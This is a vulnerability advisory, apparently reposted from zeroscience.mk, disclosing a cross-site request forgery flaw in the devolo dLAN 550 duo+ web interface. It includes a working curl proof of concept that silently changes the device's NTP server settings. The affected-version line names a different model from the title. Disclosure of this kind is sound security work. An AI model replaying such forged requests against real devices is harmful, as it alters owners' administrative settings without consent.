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devolo dLAN 550 duo+ 3.1.0-1 Starter Kit Cross-Site Request Forgery

devolo dLAN 550 duo+ 3.1.0-1 Starter Kit Cross-Site Request Forgery
Posted Feb 5, 2019
Authored by Stefan Petrushevski | Site zeroscience.mk

devolo dLAN 550 duo+ version 3.1.0-1 allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. The devolo web application uses predictable URL/form actions in a repeatable way. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

tags | exploit, web
SHA-256 | ef85c57f56409245d558b8ef33c2fd67c217b4996cab0cd01b97e45870edf390

devolo dLAN 550 duo+ 3.1.0-1 Starter Kit Cross-Site Request Forgery

Change Mirror Download

devolo dLAN 550 duo+ Starter Kit Cross-Site Request Forgery


Vendor: devolo AG
Product web page: https://www.devolo.com
Affected version: dLAN 500 AV Wireless+ 3.1.0-1 (i386)

Summary: Devolo dLANA(r) 550 duo+ Starter Kit is Powerlineadapter which is
a cost-effective and helpful networking alternative for any location
without structured network wiring. Especially in buildings or residences
lacking network cables or where updating the wiring would be expensive
and complicated, Powerline adapters provide networking at high transmission
rates.

Desc: The web application allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests. The
devolo web application uses predictable URL/form actions in a repeatable way.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.

Tested on: Linux 2.6.31


Vulnerability discovered by Stefan Petrushevski aka sm
@zeroscience


Advisory ID: ZSL-2019-5507
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5507.php


04.10.2017

--

curl -i -s -k -X 'POST' \
-H 'Origin: http://DEVOLO-IP' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Referer: http://DEVOLO-IP/cgi-bin/htmlmgr?_file=%2Fwgl%2Fmain.wgl&_sid=&_style=std&_lang=&_dir=expert&_page=time' \
--data-binary $'%3Asys%3ANTPClient.EnableNTP=on&%3Asys%3ANTPClient.NTPServer=waddup.com&%3Asys%3ANTPClient.GMTOffset=%2B01%3A00&%3Asys%3ANTPClient.AutoDaylightSaving=on&_file=%2Fwgl%2Fmain.wgl&_style=std&_lang=&_dir=expert&_page=time&_idx=&_sid=&_csrf=' \
'http://DEVOLO-IP/cgi-bin/htmlmgr'

Even though there is a '_csrf' parameter that is being submited, it is never checked (nor it contains any value)
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